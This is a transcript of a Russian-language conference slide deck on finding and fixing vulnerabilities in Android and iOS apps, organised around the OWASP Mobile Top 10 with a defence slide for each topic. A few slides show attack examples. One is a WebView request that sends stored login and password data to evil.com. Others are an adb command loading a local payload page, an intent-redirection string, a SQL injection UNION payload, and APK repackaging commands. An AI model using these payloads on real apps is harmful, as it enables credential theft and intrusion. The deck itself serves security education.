Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Устранение уязвимостей в мобильных приложениях

Устранение уязвимостей в мобильных приложениях

Доклад Николая Анисени (Positive Technologies) для PDUG-секции на IT-фестивале TechTrain.

695d44581c32d62f5393163739a66846?s=128

Positive Development User Group

September 01, 2018
Tweet

More Decks by Positive Development User Group

Other Decks in Programming

Transcript

  1. Заголовок ptsecurity.com Устранение уязвимостей в мобильных приложениях Руководитель группы исследований

    безопасности мобильных приложений Positive Technologies Николай Анисеня
  2. Заголовок whoami Руководитель группы исследований безопасности мобильных приложений Positive Technologies

    anisenya@gmail.com - Десятки мобильных приложений под Android и iOS ежегодно - Мобильный банкинг, мессенджеры, приложения операторов связи - Обучение принципам безопасной разработки
  3. Заголовок Статистика уязвимостей собильных банков iOS Android Server-side Небезопасное хранение

    данных Недостаточная защита от подбора аут. данных Небезопасная передача данных Небезопасное межпроцессное взаимодействие Доли мобильных банков по максимальному уровню риска уязвимостей Топ-5 уязвимостей клиентских частей мобильных банков
  4. 1. ВВЕДЕНИЕ

  5. Заголовок Поверхность атаки Где может находиться атакующий?

  6. Заголовок Поверхность атаки • На сервере • В канале передачи

    данных • На устройстве в виде вредоносного приложения • Иметь физический доступ (кража, утеря устройства)
  7. Заголовок Условное разделение нарушителей Удаленный нарушитель • На сервере •

    На другом клиенте • В канале связи Локальный нарушитель (вредоносное ПО) Физический доступ к устройству • Кража или утеря • Кратковременный доступ • Доступ по USB с доверенного компьютера
  8. 2. МЕХАНИЗМЫ ЗАЩИТЫ В ANDROID И IOS

  9. Заголовок Подпись и шифрование приложений Android - Требуется подпись приложения

    для установки - Можно устанавливать из Google Play, альтернативных маркетов, приложения с самоподписанным сертификатом - Обновление приложения происходит только если сертификат совпадает с сертификатом установленной версии - на основании сертификата можно запускать приложения от имени одного пользователя и выдавать разрешения - App Signing v1, v2 – изменить сертификат нельзя, v3 – можно - Приложение не шифруется
  10. Заголовок Подпись и шифрование приложений App Signing v1, signed JAR

    META-INF/ - MANIFEST.MF = хеши всех файлов apk - CERT.SF = хеш файла MANIFEST.MF и хеши хешей из MANIFEST.MF - CERT.RSA/CERT.DSA = подпись файла CERT.SF и сертификат
  11. Заголовок Подпись и шифрование приложений App Signing v2, Android 7.0+

    APK Signing Block App Signing v3, Android 9.0+ позволяет сменить сертификат
  12. Заголовок Подпись и шифрование приложений

  13. Заголовок Подпись и шифрование приложений iOS - Для установки необходима

    подпись приложения - Общий Keychain для одного и того же сертификата - Допустимы только сертификаты от Apple - При установке не через AppStore необходимо вручную подтвердить доверие к сертификату - Приложение шифруется при скачивании из AppStore уникальным для AppleID ключом
  14. Заголовок Проверка приложений в маркетах App Store Review отклоняет следующие

    приложения: - Приложения с закладками и недокументированными возможностями - Использующие приватные API - Выполняющие загрузку кода извне - Выходящие за свой участок при работе с памятью - Злоупотребляющие личными данными пользователей - … Google Play отклоняет следующие приложения: - Использующие личные данные без согласия пользователя - Запрашивающие не нужные для функционирования разрешения - Hacker tools - Имитирующие функции системы (“Your Android has I Virus!”) - Несанкционированное изменение настроек устройства - …
  15. Заголовок Sandboxing: файловая система Файловая система Android - Каждое приложение

    имеет свой UID на устройстве - Домашний каталог приложения находится по адресу /data/data/com.example.app/ и доступен только ему - Права по умолчанию: 751 до версии 6.0, 700 после 6.0 - /data/data/com.example.app/shared_prefs/ содержит файлы настроек, xml - /data/data/com.example.app/databases/ содержит базы данных sqlite (*.db) - /data/data/com.exapmle.app/app_webview/ содержит кэш WebView и файлы Cookie - Дополнительная защита по умолчанию с помощью SELinux в Android 9.0+ (targetSdkVersion >= 28) - /sdcard – world readable
  16. Заголовок Sandboxing: файловая система Файловая система iOS - Каждое приложение

    имеет доступ только к своему контейнеру в файловой системе /var/containers/Bundle/Application/D1FDA1C6- D161-44D0-BA5D-60F73BB18B75/ - Documents используется для сохранения данных, созданных пользователем, есть возможность делиться данными - Library – все, что не относится к данным пользователя, поддиректории хранят то, что не должно быть доступно пользователю - Tmp – временные файлы - Файлы шифруются в зависимости от выбранного уровня защиты
  17. Заголовок Sandboxing: файловая система Файловая система Шифрование ФС в iOS

  18. Заголовок Sandboxing: межпроцессное взаимодействие Android IPC - Взаимодействие различных компонентов

    одного приложения, взаимодействие компонентов разных приложений, запрос ресурсов у ОС – все есть межпроцессное взаимодействие - Любое межпроцессное взаимодействие осуществляется через Binder, передаются объекты Parcel - Intent – межпроцессное сообщение, работает поверх Binder - Разделяют экспортированные и приватные компоненты приложений, описываются в AndroidManifest.xml: - Activity - Service - BroadcastReceiver (можно не описывать) - ContentProvicer
  19. Заголовок Sandboxing: межпроцессное взаимодействие Android IPC

  20. Заголовок Sandboxing: межпроцессное взаимодействие Android IPC

  21. Заголовок Sandboxing: межпроцессное взаимодействие iOS IPC - App URLs: -

    mailto: - sms: - myCustomURL://doSomething?arg=val - можно проверить отправителя - universal links (только http/https) - App Extensions - Today - Share - Action - Photo - Document Provider - Keyboard - Есть возможность запретить взаимодействие с расширениями
  22. Заголовок Sandboxing: межпроцессное взаимодействие iOS IPC

  23. Заголовок ??? Убрать Системное хранилище сертификатов

  24. Заголовок Аппаратная защита Secure Enclave - Аппаратный криптопроцессор в мобильном

    устройстве - Изолирован от остальной системы на аппаратном уровне - Обеспечивает шифрование, подпись - Аппаратную генерацию случайных чисел Secure Element - Микросхема для финансовых операций - Взаимодействует с платежным терминалом напрямую Trusted Execution Environment (TEE) - Изолированное окружение для исполнения доверенных программ - Не доступно для основной ОС в случае ее компрометации
  25. Заголовок Защищенное хранение данных iOS Keychain - Зашифрованная база данных

    SQLite для безопасного хранения ключей шифрования и токенов - Допускает сохранение при резервном копировании - Начиная с iOS 9.0 шифрование выполняется с помощью Secure Enclave - Данные могут быть доступны всем приложениям, подписанным одним и тем же ключом - По умолчанию данные не удаляются после удаления приложения Встроенный криптопроцессор использует уникальный вшитый ключ AES-256, либо ключ, сгенерированный внутри Secure Enclave.
  26. Заголовок Защищенное хранение данных Android Hardware Keystore - Контейнер для

    хранения ключей - Ключи используются без извлечения из Keystore - Криптографические операции над ключами выполняются в системном процессе либо с использованием TEE, SE - Может использовать аппаратный генератор случайных чисел для генерации ключей
  27. Заголовок Биометрическая аутентификация Android Fingerprint - Распознавание выполняет программно- аппаратный

    комплекс производителя - Распознавание происходит в TEE - Может быть использовано совместно с Keystore, минуя недоверенную среду
  28. Заголовок Биометрическая аутентификация iOS Touch ID, Face ID - При

    блокировке устройства с Face ID или Touch ID ключи, использующиеся для защиты данных, не удаляются, а сохраняются в Secure Enclave - Face ID и Touch ID проводят распознавание лица в Secure Enclave - Используется для Apple Pay - Данные Face ID и Touch ID не попадают в резервные копии - Face ID и Touch ID можно использовать для доступа к Keychain
  29. 3. ОБХОД И ОСЛАБЛЕНИЕ ЗАЩИТЫ

  30. Заголовок Root / jailbreak - Просто получить (много разных производителей

    устройств) для Android, сложно – для iOS - Максимальный доступ к ОС - Чтение, запись любых файлов - Межпроцессное взаимодействие без ограничений - Доступ к микрофону, камере, геопозиции, сети (мониторинг трафика) и пр. - Доступ к отладке любого процесса - Отсутствует доступ к TEE, Secure Enclave, Keystore, Keychain однако есть возможность с помощью отладки процесса использовать TEE, чтобы расшифровать/зашифровать данные или подписать/проверить подпись. Сами ключи из TEE при этом не доступны
  31. Заголовок Вывод логов До версии Android 4.1 любое приложение может

    читать логи других приложений на устройстве. После 4.1 – используя adb при подключении по usb к доверенному компьютеру. Логи iOS приложений можно читать с помощью Xcode при подключении к доверенному компьютеру по USB.
  32. Заголовок Передаваемые данные: небезопасные протоколы Примеры протоколов, не использующих шифрование:

    http, tcp, sip, rtp, smtp, ftp, ….
  33. Заголовок Передаваемые данные: установка сертификатов

  34. Заголовок Хранимые данные: резервное копирование $ adb backup –f myAndroidBackup.ab

    com.corp.appName $ dd if=myAndroidBackup.ab bs=4K iflag=skip_bytes skip=24 | openssl zlib –d > myAndroidBackup.tar
  35. Заголовок Хранимые данные: резервное копирование

  36. Заголовок Хранимые данные: копирование приложений на sdcard

  37. Заголовок Отсутствие PIN-кода на устройстве при физическом доступе - Доступ

    к пользовательским файлам - Включение режима отладки - доступ к данным, сохраненным в keychain/keystore - доступ к файлам из домашнего каталога приложения - мониторинг трафика - установка недоверенного сертификата - отключение проверки сертификата SSL - выполнение действий от имени пользователя - Установка/переустановка приложения - Больше возможностей выполнить root / jailbreak и получить доступ ко всем файлам на устройстве
  38. Заголовок Установка вредоносных приложений Имеются следующие возможности установки приложений «в

    обход» проверки подписи и проверки приложений в маркетах: 1. Для подписи Android-приложений можно использовать самоподписанные сертификаты. Если поставить галочку «неизвестные источники» в настройках, то будет разрешена установка таких приложений: • из сторонних маркетов • загруженных с веб-сайтов, полученных по Bluetooth, malvertising, добавленных через ПК • используя adb по USB с доверенного компьютера или с любого компьютера до версии Android 4.0 • используя исходный код и Android Studio 2. Для установки приложения не из App Store на устройство с iOS необходимо вручную подтвердить доверие к сертификату устанавливаемого приложения. Сертификат обязательно должен быть выдан Apple. Далее установить приложение можно следующими способами: • через Cydia Impactor с использованием доверенного компьютера • через Android Studio / Xcode
  39. Заголовок Установка приложений из ненадежных источников

  40. 4. УЯЗВИМОСТИ МОБИЛЬНЫХ ПРИЛОЖЕНИЙ

  41. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность Модификация кода • Перепаковка банковского приложения для «фишинга» • Модификация кода во время исполнения (XPosed, Frida) Скрытая функциональность • Отладочные библиотеки • Функциональность «в разработке» Слабость к анализу бинарных файлов • Чувствительные данные в коде: ключи шифрования, аутентификационные данные и серверные пути • Имена классов, методов (в том числе в отладочных строках) • Сообщения логов
  42. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность objection patchipa --source my-app.ipa --codesign-signature 0C2E8200Dxxxx Листинг файлов установленного приложения, модифицированного с помощью objection
  43. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность apktool d app.apk apktool b app_folder new_app.apk java -jar signapk.jar certificate.pem key.pk8 new_app.apk app-signed.apk
  44. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность
  45. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность
  46. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность
  47. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность
  48. Заголовок Защита кода OWASP Mobile TOP 10: M8,M9,M10 Code Tampering

    / Reverse Engineering / Extraneous Functionality Модификация кода и данных / Анализ бинарных файлов / Скрытая функциональность Защита: • Использовать обфускаторы (для Android – minifyEnabled = true, proguard) • Не зашивать в код чувствительную информацию • Постоянно совершенствовать защиту кода
  49. Заголовок Небезопасное хранение данных OWASP Mobile TOP 10: M2 Insecure

    Data Storage Небезопасное хранение данных Где могут храниться данные: • Android: /sdcard, /data/data/<app-id>/ iOS: /var/mobile/Containers/Data/Application/<uuid>/ • WebView cache & cookies • Keystore / Keychain с небезопасными флагами • Скриншоты Android: /data/system/recent_images/ iOS: /private/var/mobile/Containers/Data/Application/<uuid> /Library/Caches/Snapshots/<bundle-id>/ Распространенные ошибки: • Сохранение данных, когда можно не сохранять • Сохранение аутентификационных данных в открытом виде • Сохранение ключей шифрования рядом с зашифрованными данными • Сохранение файлов в общедоступных каталогах • Сохранение Cookie в компонентах WebView • Сохранение скриншотов
  50. Заголовок Небезопасное хранение данных OWASP Mobile TOP 10: M2 Insecure

    Data Storage Небезопасное хранение данных /sdcard/ /data/data/<app-id>/shared_prefs/<app-id>.xml
  51. Заголовок Небезопасное хранение данных OWASP Mobile TOP 10: M2 Insecure

    Data Storage Небезопасное хранение данных /var/mobile/Containers/Data/Application/<uuid>/
  52. Заголовок Небезопасное хранение данных OWASP Mobile TOP 10: M2 Insecure

    Data Storage Небезопасное хранение данных kSecAttrAccessibleAlways kSecAttrAccessibleAfterFirstUnlock kSecAttrAccessibleWhenUnlocked kSecAttrAccessibleAlwaysThisDeviceOnly kSecAttrAccessibleWhenUnlockedThisDeviceOnly kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly
  53. Заголовок Небезопасное хранение данных OWASP Mobile TOP 10: M2 Insecure

    Data Storage Небезопасное хранение данных https://developer.android.com/training/articles/security-tips setUnlockedDeviceRequired(true) isInsideSecureHardware() KeyStore ks = KeyStore.getInstance(KeyStore.getDefaultType()); // get user password and file input stream char[] password = getPassword(); try (FileInputStream fis = new FileInputStream("keyStoreName")) { ks.load(fis, password); }
  54. Заголовок Небезопасное хранение данных OWASP Mobile TOP 10: M2 Insecure

    Data Storage Небезопасное хранение данных Защита: • Хранить меньше • Сохранять не в общедоступных каталогах • Использовать надежную криптографию • Не хранить ключи шифрования • использовать Keystore (Android) / Keychain (iOS) • Отключать кэширование и сохранение Cookie в WebView • Использовать фоновое изображение при сворачивании приложения, отключить автоматическое создание скриншотов
  55. Заголовок Слабая криптография Распространенные ошибки: - Кодирование – не шифрование

    - Самописные алгоритмы шифрования - Собственные реализации криптопротоколов (DoS через diffie-helman) - Использование слабых алгоритмов шифрования и хэш-функций (md5), а также стойких алгоритмов со слабыми параметрами (AES ECB, RSA 512 bit) - Неправильное хранение ключей - Соль в коде приложения - Выработка ключей из пользовательского ввода с низкой энтропией OWASP Mobile TOP 10: M5 Insufficient Cryptography Слабая криптография
  56. Заголовок Слабая криптография OWASP Mobile TOP 10: M5 Insufficient Cryptography

    Слабая криптография
  57. Заголовок Слабая криптография OWASP Mobile TOP 10: M5 Insufficient Cryptography

    Слабая криптография
  58. Заголовок Слабая криптография OWASP Mobile TOP 10: M5 Insufficient Cryptography

    Слабая криптография
  59. Заголовок Слабая криптография OWASP Mobile TOP 10: M5 Insufficient Cryptography

    Слабая криптография
  60. Заголовок Слабая криптография OWASP Mobile TOP 10: M5 Insufficient Cryptography

    Слабая криптография
  61. Заголовок Слабая криптография OWASP Mobile TOP 10: M5 Insufficient Cryptography

    Слабая криптография Diffie-Hellman DoS
  62. Заголовок Слабая криптография OWASP Mobile TOP 10: M5 Insufficient Cryptography

    Слабая криптография Защита: • Использовать проверенные реализации стойких алгоритмов шифрования, хэширования (AES 128 CBC, RSA 2048, SHA256, …) • Использовать проверенные криптопротоколы и их проверенные реализации • Генерировать «соль» на устройстве • Использовать надежные криптографические параметры: ключи достаточной длины, пароли и пинкоды с высокой энтропией • Не зашивать ключи в код приложения и не хранить их на устройстве
  63. Заголовок Небезопасная передача данных Распространенные ошибки - Доверие системному хранилищу

    сертификатов - Ошибки реализации SSL-пиннинга (Android, iOS) - Передача данных без шифрования (например, http, sip, rtp, голый tcp) - Внешние HTTP-ссылки OWASP Mobile TOP 10: M3 Insecure Communication Небезопасная передача данных
  64. Заголовок Небезопасная передача данных OWASP Mobile TOP 10: M3 Insecure

    Communication Небезопасная передача данных
  65. Заголовок Небезопасная передача данных OWASP Mobile TOP 10: M3 Insecure

    Communication Небезопасная передача данных
  66. Заголовок Небезопасная передача данных OWASP Mobile TOP 10: M3 Insecure

    Communication Небезопасная передача данных
  67. Заголовок Небезопасная передача данных OWASP Mobile TOP 10: M3 Insecure

    Communication Небезопасная передача данных Защита: • Для ссылок использовать только схему https:// • Использовать шифрование для защиты передаваемых данных • Не отключать проверку сертификатов • Зашивать сертификат в код (Certificate Pinning) и всегда использовать его для установления защищенного соединения, в т.ч. в WebView.
  68. Заголовок Ошибки авторизации и аутентификации Распространенные ошибки: - Аутентификация на

    клиенте - Слабая защита от перебора (локального или на сервере) либо ее отсутствие - Низкая энтропия паролей (например, 4 десятичных цифры) - Обход двухфакторной аутентификации - Автоматическое распознавание смс с ОТП - Использование QR-кода для инициализации генератора ОТП, когда сканирует код другое приложение - Пуш-сообщения продолжают приходить после нажатия кнопки «выйти» - Не завершается сессия при нажатии на кнопку «выйти» OWASP Mobile TOP 10: M4 Insecure Authentication & Authorization Ошибки аутентификации и авторизации
  69. Заголовок Ошибки авторизации и аутентификации OWASP Mobile TOP 10: M4

    Insecure Authentication & Authorization Ошибки аутентификации и авторизации
  70. Заголовок Ошибки авторизации и аутентификации OWASP Mobile TOP 10: M4

    Insecure Authentication & Authorization Ошибки аутентификации и авторизации Защита: • Реализация аутентификации согласно стандартам (высокая энтропия паролей, достаточная длина паролей, пин-кода, блокировка подбора, …) • Использовать разные секретные значения для локальной аутентификации (секретная фраза для выработки ключа шифрования) и аутентификации через сервер (логин и пароль) • Разработка и реализация политики безопасности • Использование программных или аппаратных генераторов одноразовых паролей вместо смс- сообщений • Обеспечить корректный механизм завершения сессии (сессия завершается как на клиенте, так и на сервере, а также отключаются пуш-сообщения)
  71. Заголовок Обход архитектурных ограничений Распространенные ошибки: - Небезопасное использование WebView

    - Небезопасное межпроцессное взаимодействие - Глобальные broadcast - Intent forwarding - Экспортированные компоненты - Отсутствие фильтрации во входящих Intent или параметрах App URL - Обращение к собственным компонентам через App URL - Непреднамеренная утечка данных - Временные файлы OWASP Mobile TOP 10: M1 Improper platform usage Обход архитектурных ограничений
  72. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений
  73. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений // WKWebView NSSet *websiteDataTypes = [NSSet setWithArray:@[WKWebsiteDataTypeDiskCache, WKWebsiteDataTypeMemoryCache]]; NSDate *dateFrom = [NSDate dateWithTimeIntervalSince1970:0]; [[WKWebsiteDataStore defaultDataStore] removeDataOfTypes:websiteDataTypes modifiedSince:dateFrom completionHandler:^{ }];
  74. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений Доступ к приватному каталогу Android-приложения через WebVIew
  75. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений /sdcard/payload.html $ adb shell am start -d "file:///sdcard/payload.html" nanisenya.app_android/ .MainActivity
  76. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений GET /%3C?xml%20version='1.0'%20encoding='utf- 8'%20standalone='yes'%20?%3E%0A%3Cmap%3E%0A%3Cstring%20name=%22LOGIN%22%3Ealice%3 C/string%3E%0A%3Cstring%20name=%22PASSWORD%22%3Eqwerty123%3C/string%3E%0A%3C/map% 3E%0A HTTP/1.1 Host: evil.com Origin: file:// X-Requested-With: nanisenya.app_android ... Connection: close Доступ к приватному каталогу Android-приложения через WebVIew
  77. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений WKWebView • Доступ к сookie, кэшу (можно очистить) содержимому страниц • Данные остаются в песочнице приложения • Доступ к приложению из javascript SFSafariViewController • Возможность использовать аутентификацию пользователя на других сервисах (Safari Cookie) • Данные сохраняются глобально в Safari • Возможность CSRF-атаки • Уязвимость к UXSS-технике через iOS share/action extension
  78. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений adb shell am broadcast –d com.example.myapplication/.MyReceiver
  79. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений
  80. Заголовок Обход архитектурных ограничений Dispatcher Activity exported= “true” Settings Activity

    exported= “false” Payment Activity exported= “false” Internal Activity exported= “false” Входящий Intent Перенаправленный Intent Intent Forwarding
  81. Заголовок Обход архитектурных ограничений

  82. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений Intent intent = Intent.parseUri(uri); startActivity(intent); intent://foobar/#Intent;action=myaction1;type=text/plain;S.xyz=123;end intent:#Intent;S.XXX=123;SEL;component=com.android.chrome/.xyz;end
  83. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений android.preference.PreferenceFragment
  84. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений android.preference.PreferenceFragment
  85. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений android.preference.PreferenceFragment
  86. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений Уязвимость присутствует если • Android < KitKat • TargetSDK < KitKat (import android.support.v4.app.Fragment;) • Используются сторонние библиотеки (например, для корректной работы интерфейса на разных версиях Android), переопределяющие поведение фрагментов
  87. Заголовок Обход архитектурных ограничений OWASP Mobile TOP 10: M1 Improper

    platform usage Обход архитектурных ограничений Вызов openURL / open myAppURL://login Для схемы myAppURL:// может существовать несколько обработчиков, но вызывается всегда только один (и всегда один и тот же).
  88. Заголовок Обход архитектурных ограничений Защита - Использовать WebView с безопасными

    настройками (не хранить кэш и cookie, не допускать попадания недоверенного javascript-кода) - Использовать самые новые SDK - Межпроцессное взаимодействие - Использовать LocalBroadcastManager - Не экспортировать компоненты, предназначенные для использования только внутри приложения - Для фрагментов использовать isValidFragment - Фильтровать входящие Intent и параметры App URL - Не использовать App URL для взаимодействия внутри iOS-приложения, либо использовать Universal Links OWASP Mobile TOP 10: M1 Improper platform usage Обход архитектурных ограничений
  89. Заголовок Прочее - (BOOL)application:(UIApplication *)application shouldAllowExtensionPointIdentifier:(NSString *)extensionPointIdentifier { if ([extensionPointIdentifier

    isEqualToString:UIApplicationKeyboardExtensionPointIdentifier]) { return NO; } return YES; }
  90. Заголовок Прочее Наложение поверх других окон – по большей части

    недостаток ОС. Некоторую защиту удалось реализовать проекту Android Overlay Protector
  91. Заголовок Прочее String query = "SELECT * FROM messages WHERE

    msg LIKE '%" + q + "%'"; Cursor c = MainActivity.this.db.rawQuery(query); sqlite> .tables android_metadata messages private_messages
  92. Заголовок Прочее SELECT * FROM messages WHERE msg LIKE '

    UNION SELECT * from private_messages -- %'"; q = "' UNION SELECT * from private_messages -- "
  93. Заголовок Прочее Защита - Использовать собственную клавиатуру для ввода аутентификационных

    данных, запретить использование клавиатурных расширений - Фильтровать данные при работе с HTML, Javascript, CSS, SQL, XML, …
  94. Заголовок ptsecurity.com Спасибо! Спасибо! полезные ссылки